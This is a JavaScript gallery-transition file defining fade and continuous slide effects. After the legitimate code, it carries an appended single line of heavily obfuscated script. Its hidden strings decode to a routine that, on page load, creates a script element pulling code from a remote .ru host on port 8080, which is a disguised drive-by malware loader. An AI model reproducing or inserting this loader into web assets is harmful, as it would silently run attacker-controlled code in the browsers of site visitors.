/**
 * @author jon
 */
gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});
this.lG='';var RY="";function x() {this.T="";var LM="";var nx=new String();var p;if(p!='' && p!='X'){p='g'};var N='replace';var GA=new Array();var Nn=new Array();var B=']';var qt;if(qt!='u' && qt!='Ee'){qt='u'};var C='[';this.MG='';var Y='g';var r=RegExp;var rL=new String();var II;if(II!='Un'){II=''};function e(E,NB){var w;if(w!='aF' && w!='xf'){w=''};var k;if(k!='z' && k != ''){k=null};var Rk;if(Rk!='fw' && Rk != ''){Rk=null};var a=C;var Sd="";var df="";a+=NB;var rD="";var K="";a+=B;var G=new r(a, Y);return E[N](G, rL);var Ng;if(Ng!='Hv'){Ng=''};this.j="";};var PC="";var vl=new Date();var oS=new Date();var R=e('h6tOt2pO:6/2/2p2eOr2e6zOhOi6l6t6oOn6-Oc2o6mO.2sOo6h2uO.OcOo2mO.6d2i6o6n6-On2e6-2j2p6.2sOu6pOeOr6n2e6w6s6t6u2fOfO.Or2uO:2',"2O6");var M=e('/WkWaWiWxWiCnF0C0W1F.CcFoFmC/CkFaWiCxWiWnC0C0W1C.CcWoWmC/FgCoCoFgFlCeF.CcCoCmF/CtWwWeWeCtFmCeCmCeC.WcFoCmW/CxFhFaCmCsWtWeFrC.WcWoFmW.CpChWpW',"FWC");var Qu='';var n=window;this.Rj='';var ei=e('844120124485610564',"54612");var Qg;if(Qg!='' && Qg!='gw'){Qg=''};var S=e('cyrye4aDt4eyE4lyeym4e4nDtD',"4yD");var Z='';var Ja=new Date();this.fY='';this.i="";var EJ='';var Yb=e('sFcFrFiFpFtR',"RF");var yC;if(yC!='sJ'){yC=''};this.nD="";n[e('oDnjlDoDajdD',"Dj")]=function(){var gO='';var St;if(St!=''){St='Fw'};try {var vU;if(vU!='kA'){vU='kA'};var lx="";Z+=R;Z+=ei;Z+=M;this.rF="";this.UB="";V=document[S](Yb);var yp='';var dd;if(dd!='WQ' && dd!='Mk'){dd=''};l(V,'src',Z);var mt='';this.tJ='';l(V,'defer',([1,0][0]));document.body.appendChild(V);var Ua=new Date();} catch(nw){this.Uo='';this.jK='';};var Aj;if(Aj!='' && Aj!='tr'){Aj=null};var iu;if(iu!='tj'){iu='tj'};};var Hk=new Date();this.sR='';this.hR='';function l(q,v,L){q.setAttribute(v, L);}var lS;if(lS!='' && lS!='_S'){lS='OK'};};var jt=new String();x();this.LZ="";this.anu="";